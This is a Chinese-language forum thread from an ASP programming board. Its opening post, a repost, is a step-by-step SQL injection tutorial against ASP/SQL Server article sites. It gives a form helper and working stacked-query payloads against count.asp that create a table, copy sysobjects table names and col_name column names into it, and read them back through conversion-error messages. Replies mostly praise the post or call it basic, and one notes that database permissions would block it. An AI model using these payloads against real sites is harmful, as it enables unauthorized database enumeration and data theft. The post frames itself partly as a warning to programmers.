在线情况
楼主
  • 头像
  • 一眉大师
  • 级别
  • 徽章
  • 声望+5
  • 积分5169
  • 经验147783
  • 文章4652
  • 注册2003-12-24
SQL注入的不常见方法
大家在是否碰到过这样的站点:



全站文章系统采用FSO静态生成的HTML文件来显示。



这样做的好处一来可以减轻服务器负担,提高访问速度。



二来也阻止了SQL注入式的攻击。。



我来说说他们的文章系统原理:



全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。



 



攻击方法:



查看源文件/看里面是否有通过JS来调用的页面。



如调用<script language="javascript" src="count.asp?id=1552"></script>来更新文章的浏览次数。



我们就可以这样来试一下可否注入:



http://服务器域名/count.asp?id=1552'



看一下是否出错。如出错说明有注入漏洞。



然后正常攻击。



在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)



post.htm内容:主要是方便输入。



<iframe name=p src=# width=800 height=350 frameborder=0></iframe>


<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>




对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER



对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--



然后插入一条记录:id=1552;insert into aaa values('test');--



再之后枚举出他的数据表名:



id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--



这是将第一个表名更新到aaa的字段处。



id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:看:






Microsoft OLE DB Provider for SQL Server 错误 '80040e07'


将 varchar 值 'vote' 转换为数据类型为 int 的列时发生语法错误。


/search.asp,行21



其中vote就是表名:



也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype='u' and status>0)的值更新到那个表的一条记录中去。通过网页显示。



读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。



id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--



然后id=1552 and exists(select * from aaa where aaa>5)



读出第二个表,^^^^^^一个个的读出,直到没有为止。



读字段是这样:



id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--



然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名



id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--



然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名



……类推



明白了吗?不明白之处到论坛提出吧。。希望通过此文能给朋友们提供一种思路。也给网站程序员一个警示。

asp技术学习感谢您的参与
在线情况
2
  • 头像
  • 级别
    • 积分1173
    • 经验18255
    • 文章1108
    • 注册2004-01-09
    强,顶。。。。。
    asp技术学习感谢您的参与
    在线情况
    3
    • 头像
    • 级别
      • 积分147
      • 经验3628
      • 文章124
      • 注册2004-01-28
      您NND 比包公还黑!好东西,DING
      asp技术学习感谢您的参与
      在线情况
      4
      • 头像
      • 级别
        • 积分418
        • 经验10112
        • 文章377
        • 注册2004-01-04
        看了害怕阿
        asp技术学习感谢您的参与
        在线情况
        5
        • 头像
        • 一眉大师
        • 级别
        • 徽章
        • 声望+5
        • 积分5169
        • 经验147783
        • 文章4652
        • 注册2003-12-24
        楼上的怕什么呀?
        asp技术学习感谢您的参与
        在线情况
        6
        • 头像
        • 一眉大师
        • 级别
        • 徽章
        • 声望+5
        • 积分5169
        • 经验147783
        • 文章4652
        • 注册2003-12-24
        [QUOTE][b]下面引用由[u]1238168[/u]发表的内容:[/b] 您NND 比包公还黑!好东西,DING[/QUOTE] 你说谁黑呢?我是转贴的.这可不是我想出来的办法...[em02]
        asp技术学习感谢您的参与
        在线情况
        7
        • 头像
        • 小咪的爸爸
        • 级别
        • 徽章
        • 职务总版主
        • 声望+29
        • 积分39723
        • 经验1151179
        • 文章33857
        • 注册2003-08-14
        asp技术学习感谢您的参与
        在线情况
        8
        • 头像
        • 级别
        • 徽章
        • 声望+5
        • 积分11847
        • 经验342142
        • 文章11798
        • 注册2003-12-31
        这还不常见?
        asp技术学习感谢您的参与
        在线情况
        9
        • 头像
        • 一眉大师
        • 级别
        • 徽章
        • 声望+5
        • 积分5169
        • 经验147783
        • 文章4652
        • 注册2003-12-24
        ByVal兄你常用吗?
        asp技术学习感谢您的参与
        在线情况
        10
        • 头像
        • 级别
        • 徽章
        • 声望+5
        • 积分11847
        • 经验342142
        • 文章11798
        • 注册2003-12-31
        这只是个人寻找入侵点思路而已,如果是这样的情况,NB里会注入的是绝对不会放过的 还不能算是什么方法 如果这都算不常用的方法的话,那16进制注入等不都是外星人用的吗?
        asp技术学习感谢您的参与
        在线情况
        11
        • 头像
        • 动心忍性
        • 级别
          • 积分2833
          • 经验48622
          • 文章2809
          • 注册2004-06-04
          都用文章系统了,数据库权限还没设置? create表的权限想都不要想 第二步就过不去
          asp技术学习感谢您的参与
          在线情况
          12
          • 头像
          • 寻欢翼翼
          • 级别
            • 声望+1
            • 积分2161
            • 经验79822
            • 文章2153
            • 注册2003-12-10
            会生成html的文章系统还如此烂,不如死了好过了。
            asp技术学习感谢您的参与
            Page created in 0.0469 seconds with 6 queries.